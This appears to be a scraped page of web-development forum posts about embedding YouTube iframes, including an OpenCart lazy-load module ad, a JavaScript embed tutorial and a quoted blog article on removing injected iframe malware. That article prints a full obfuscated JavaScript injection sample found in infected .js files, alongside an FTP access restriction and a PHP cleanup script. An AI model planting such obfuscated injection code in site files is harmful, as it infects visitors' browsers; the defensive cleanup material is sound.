Search the Community

20 Завантажити / Придбати розширення Нова версія Модуль вирішує проблему тривалого завантаження iframe з youtube та збільшує page speed. Дозволяє додавати відео youtube та vimeo у полях описів сторінок, додавати відео шорткордами, збирати відео у галерею на сторінці товару, відображати відео у popup Для РФ і РБ модуль не продається і підтримка не надається. Всі вставки iframe з відео на вашому сайті перед виведенням на сторінку будуть автоматично замінені на прев'ю відео у вигляді зображень, які підтягуються з img.youtube.com/vi. Увага! Модулю все одно, яким чином у вас реалізований виведення відео (через додаткові поля, опис товару, додаткові вкладки або прямо у файлі), він збирає кінцевий код iframe і замінює на свій при рендерингу сторінки системою opencart. Весь ваш функціонал залишається на місці і відео додаєте на сайт як і раніше. У будь-який момент модуль можна вимкнути. НАВІЩО Всі знають, що iframe з відео дуже завантажують сторінку і зменшують швидкість завантаження сайту. Особливо це відчутно (і навіть візуально видно), якщо на сторінці багато відео (кожен iframe це додаткові запити і ресурси). Бонус - галерея відео та зручне додавання відео на сайт МОЖЛИВОСТІ підтримка youtube, youtube shorts, vimeo зручна вставка відео шорткодами відео по кліку на прев'ю спливаюче вікно з відео по кліку на прев'ю своє зображення для прев'ю вибір розміру прев'ю налаштування іконки 'play' (зображення, font awesome, html) та стилізація збирання відео у галерею на основі доданих iframe та шорткодів у описі товару вибір позиції галереї та її стилізація іконка відео у категорії іконка відео у товарі (як опція відкриття галереї по кліку) 2 режими роботи галереї можливо вказати шляхи для виключення роботи модуля поля для кастомних стилів та js ОСОБЛИВОСТІ буде працювати на всіх шаблонах та усіх сторінках максимально легкий модуль без залежностей (всього пару рядків css і ванільного js, жодних бібліотек) буде працювати навіть без бутстрапу та jquery відкритий код повна версія 2.0 лише для opencart/ocstore 2.2+, для старіших - версія 1 ДЕМО Адмінка https://oc3.likedev.pro/admin/ логін/пароль: demo/demo товар https://oc3.likedev.pro/imac стаття https://oc3.likedev.pro/6-video ЗАСТОСУВАННЯ збільшення швидкості завантаження і в результаті кращий показник page speed зручне додавання відео на сайт кастомизація зовнішнього вигляду відео прев'ю організація галереї відео у картці товару без ризику для швидкості сайту виведення відео у popup дозволити показувати ваші iframe навіть на обмеженому просторі підміна прев'ю на свої дозволить поставити потрібні вам зображення для відео та прикрасити сайт Щоб не було чорних смуг, можна поставити заставки до відео на каналі youtube або завантажити свої в папку модуля. 6 відео - різниця 30-50% Модуль вимкнено: https://oc23.likedev.pro/6-video?disable-video-optim і page speed 49/33 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F6-video%3Fdisable-video-optim&tab=mobile Модуль увімкнений https://oc23.likedev.pro/6-video і page speed 92/75 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F6-video Сторінка та сама, тільки в першому випадку доданий параметр ?disable-video-optim щоб модуль не спрацьовував і можна було побачити різницю. 1 відео - різниця 10-30% І навіть з 1 відео показник досить просідає, особливо для мобільних пристроїв Модуль вимкнений: https://oc23.likedev.pro/1-video?disable-video-optim і page speed 88/51 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F1-video%3Fdisable-video-optim&tab=desktop Модуль увімкнений: https://oc23.likedev.pro/1-video і page speed 96/80 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F1-video&tab=mobile Крім того візуально набагато симпатичніше прев'ю з іконкою, ніж ютубовський iframe, та й можливість відкриття відео в popup теж дуже корисна. + ми можемо через css стилі кастомізувати прев'ю як нам завгодно. ВАЖЛИВО! Рекомендую використовувати режим POPUP для кращої сумісності з шаблонами, розміткою та адаптивністю відео. ВСТАНОВЛЕННЯ відео вставновлення (Тільки тут фікс не потрібен, інше - так само) Через установник в адмінці завантажуєте архів модуля ocmod для своєї версії опенкарт. Для версій 2.x переконайтеся, що у вас вже встановлено модифікатор localcopy. ocmod, якщо його немає – встановіть. PS. Для редактора CKeditor при вставці в режимі коду деяких тегів, у тому числі iframe, редактор їх чистить. У такому випадку робимо фікс: в admin\view\javascript\ckeditor\config. js після рядка config. resize_enabled = false; прописати config. allowedContent = true; Важливо: При використанні версії 2.0 модуля та модуля Accordion & Tabs переконайтеся, що Accordion & Tabs у вас версії 2.1.1, де випралена проблема сумісної роботи цих модулів. ОНОВЛЕННЯ до версії 2.0: 1. Видалити модифікатор старої версії модуля Youtube lazy load and popup 2. Оновити модифікатори 3. Встановити архів нової версії як звичайне доповнення через установщик 4. У списку розширень видалити модуль та встановити заново ЛІЦЕНЗІЯ Ліцензія видається на один домен. Також при необхідності на тестовий піддомен. Ключ буде надіслано автоматично на пошту покупця одразу після вашого замовлення. Якщо з якоїсь причини листа немає - пишіть на пошту чи лс. ПРОХАННЯ ВКАЗАТИ ДОМЕН ВІДРАЗУ ПРИ КУПІВЛІ Також дивіться модулі: Accordion & Tabs & Steps v2 - конструктор контенту Smart Video Widgets - відео в фоні, банера, зображення, сповіщення з налаштуванням умов показу Google Reviews - відгуки з гугл карт (Google Business) з віджетом довіри + відгуки про товари Grapes Web Builder - більше ніж візуальний редактор Автор Seriusis долучення 12.11.20 Категорія Модули Ioncube Loader Нет ocStore 3.0 2.3.0.2.4 2.3 2.2 2.1 OpenCart.Pro, ocShop Opencart.pro 2.3 Opencart.pro 2.1 OcShop 2.0.3.х Звернення до сервера розробника Нет

HTML: <div id="video"> <div class="videoWrapper"> <iframe width="560" height="315" src="https://www.youtube.com/embed/Zph3K-----" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> </div> </div> CSS: #video { max-width: 560px; margin: 0 auto; } .videoWrapper { position: relative; padding-bottom: 56.25%; padding-top: 25px; height: 0; } .videoWrapper iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }

Вставка видео с youtube или twitch на сайт довольно обычное дело. Заходим на страницу с видео, нажимаем на кнопку поделиться, копируем iframe, вставляем в нужном месте и готово, видео сразу же появляется на сайте, но в этом и заключается проблема... Когда iframe встроен непосредственно в разметку сайта, то как только начинается загрузка страницы и браузер видит iframe он начинает загружать видео и все ресурсы необходимые для работы плеера. Сайт начинает долго грузится и как не странно жутко лагать вплоть до зависания устройства с которого пользователь посетил сайт. Помимо этого анализ производительности pagespeed insights даже из-за одного видео проседает примерно на 15 пунктов и тут я с ним полностью солидарен, если на сайте стоит preloader, то пользователь вообще может не дождаться загрузки. Поскольку мне часто приходится иметь дело с такими проблемами я написал небольшой скрипт решающие основные задачи с которыми я сталкивался. Решения в интернете есть ведь идея не нова и проблема известна давно, но они достаточно топорные и сложно расширяемые. Возможно есть какие-то плагины, но к сожалению мне не попадались, да я и не искал. Скрипт написан на чистом js, так что его можно подключить к любому проекту. Demo: https://get-web.site/insertmedia.html Репозиторий на gitHub: https://github.com/get-web/insertmedia Чтобы начать использовать необходимо подключить скрипт: <script src="../src/insertmedia.js"></script> И вызвать его: document.addEventListener("DOMContentLoaded", function () { insertmedia(); }); Можно вызвать с опциями: document.addEventListener("DOMContentLoaded", function () { insertmedia({ delay: 300, // Задержка. default: 300ms immediately: true, // тип задержки true/false. Сразу или по очереди каждый "delay" милисекунд. default: true - сразу attr: 'data-insertmedia', // Атрибут с конфигурацией вставки. В блок с этим атрибутом будет вставляться наше видео или изображение. default: data-insertmedia }) }); Блоку в который будет вставляться видео мы добавляем атрибут с параметрами: data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }' Например для вставки видео с ютуба мы можем использовать такие настройки: <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }'> </div> Доступные опции: type*: тип вставляемого ресурса. На данный момент это: youtube , twitch , html5 , img src*: Ссылка на ресурс (видео,картинка..) например: https://example.com/img.jpg width: Ширина доступная для вставляемого типа ресурса height: Высота доступная для вставляемого типа ресурса setting: Настройки доступные для вставляемого типа ресурса (*) - Обязательно В общем идея достаточно проста, мы передаем тип ресурса и ссылку на него без параметров, а уже в setting передаются параметры доступные для данного типа ресурса. Например фрейм ютуба по умолчанию выглядит так: <iframe width="560" height="315" src="https://www.youtube.com/embed/6Q6cCuSvFpI" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> Мы можем вставить его таким образом (не используя setting или передавая пустую строку "setting": "") : <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI" }'> </div> Но если мы, к примеру, хотим запустить видео автоматически и без звука, фрейм будет таким: <iframe width="560" height="315" src="https://www.youtube.com/embed/6Q6cCuSvFpI?autoplay=1&mute=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> Как вы могли заметить к ссылке были добавлены необязательные параметры ?autoplay=1&mute=1 их мы и передаем в setting при использовании скрипта: <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }'> </div> То есть любые параметры описанные в документации к youtube вы можете использовать таким образом. Точно так же передаются параметры и другим типам ресурсов в зависимости от их API. Именно поэтому происходит разделение ссылки и параметров, чтобы можно было их интегрировать под любой тип и иметь возможность правильно составлять шаблоны для последующей вставки. Надеюсь я понятно объяснил и мой труд кому-то будет полезен. Если будут вопросы задавайте их тут. Пишите если что-то нужно добавить или исправить, или если хотите покритиковать. Источник: https://get-web.site/blog/javascript/43-insertmedia.html

Приветствую. Объясните кто знает,применят ли санкции ПС к ИМ,если он во фрейме дорвея?

Нужен плагин позволяющий делать попап окна, в которых будут открываться сайты. Всё это должно происходить по нажатию кнопки. Не нашел ничего подобного. Может кто-то слышал о подобном?

Подскажите пожалуйста, актуальность и правильность данной статьи, полезна ли она в настройке безопасности сайта или же нет?!? Думаю проделать это с сайтом, на котором iframe вставки обнаружены, но чет очкую, так как вдруг тут тож косяк. Удаляем вирус с сайта или борьба с iFrame на сайте Хотел начать свой блог с лирики, но выдалась такая неспокойная неделя, что решил поприветствовать Всех статьей по существу. Привет! А вся неделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами. Не успевал я за день очищать все файлы в ручном режиме и менять пароли, как на следующий день происходило всё снова — пароли каким-то образом утекали и скрипты все вновь успешно по FTP троянились. Пятница недели стала последней каплей и я потратил день на защиту своих серверов: Настроил на серверах .ftpaccess — ограничив тем самым доступ по фтп к серверам со всех IP кроме своей статики; Написал скрипт автоудаления из всех файлов .js iframe’ов, вирусов. Итак, по порядку. Заражение файлов сайта происходит банальной вставкой iframe кода в файлы по ftp, раньше я чаще наблюдал вставки в .php, .html файлы — что приводило к полному падению сайтов, сегодня зловреды стали добрее и стали писать вставки исключительно в файлы с расширением .js — JavaScript. IFRAME вставки пишутся в конец файла и могут быть как в явном виде <iframe></iframe> (легко обнаруживаются антивирусами), так и в кодированном (работа различных iframe крипторов), например: try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);} Весь этот символьный хаос в результате работы JavaScript превращается в легко читающийся HTML код iframe вставки и загружает пользователю сайта тело вируса посредством работы эксплойта. Опираясь на данный минимум теории начнем защищаться от заражения сайтов. Настройка .ftpaccess — ограничиваем доступ по фтп к серверам Вирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути — и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своего сервера, папки с сайтов файл .ftpaccess с содержимым: Allow from xx.xx.xx.xx Allow from xx.xx.xx.xx Deny from all Где xx.xx.xx.xx — это ваш IP, с которого разрешена активность по FTP, всем остальным досвидания. За выделенным IP звоним провайдеру! Если все же вы не можете получить выделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайдером, например это будет выглядеть так: Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny from all Это позволит ограничить доступ взломщикам к вашим серверам. Скрипт автоудаления из всех файлов вставок iframe’ов После того как сервера были защищены, я приступил к написанию скрипта, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на наличие в содержимом iframe’ов. Результатом работы явился следующий скрипт, который удаляет вставки вредоносного кода из страниц сайта, в конкретном примере из .js скриптов: <!--?php // iframe удалятор от GlooSoftware.ws $virus_start = 'try{q=document.createElement'; //начало вредоносного кода $virus_end = 'q=ss;e(q);}'; //конец вредоносного кода $skip_files = array ('clean.php'); //название файла - который следует проигнорировать при проверке $del = true; //лечим(true) или просто смотрим кол-во зараженных файлов(false) $dir = getcwd().'/'; //корень сайта $num_infected = 0; function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') { if ($dh = opendir($dir)) { while (($file = readdir($dh))!== false) { if ($file === '.' || $file === '..') { continue; } if (is_file($dir . $file)) { if (is_array($types)) { if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) { continue; } } $callback($baseDir, $file); }elseif($recursive && is_dir($dir . $file)) { dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR); } } closedir($dh); } } function del_virus($fdir, $ffile) { $flag = false; $filename = $fdir.$ffile; echo $filename; $file=file($filename); foreach($file as $k=-->$v) { $virus_text = $GLOBALS['virus_start']; $pos_start = stripos($v, $GLOBALS['virus_start']); $pos_end = stripos($v, $GLOBALS['virus_end']); $virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") { if (!stristr($v, $virus_text)) { $nfile[]=$v; } else { if (!$flag) { $flag=true; if (in_array($ffile, $GLOBALS['skip_files'])) echo " - skipped"; else { echo " - infected"; $GLOBALS['num_infected']++; } } } } else { $nfile[]=$v; } } if ( $GLOBALS['del'] ) { $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")); fclose($file); } } dir_walk('del_virus', $dir, array('js'), true, $dir ); echo "Num infected = $num_infected "; ?> Пользуйтесь наздоровье, если будут вопросы — задавайте — чем могу, помогу! В одной из следующих статей напишу простейший криптор iframe’ов, что бы вы понимали что же такое Вам в сайты встраивают и для чего.

Здравствуйте, хочу для каждого товара выводить в карточке допустим видеообзор, если делать как предлагает youtube <iframe allowfullscreen="" frameborder="0" height="315" src="xxx" width="420"> читал что использование iframe может повлиять на индексацию сайта, вплоть до вылета страниц из индекса и iframe еще передает вес. Это правда? Как тогда можно вставлять видео в карточки товаров без вреда сайту?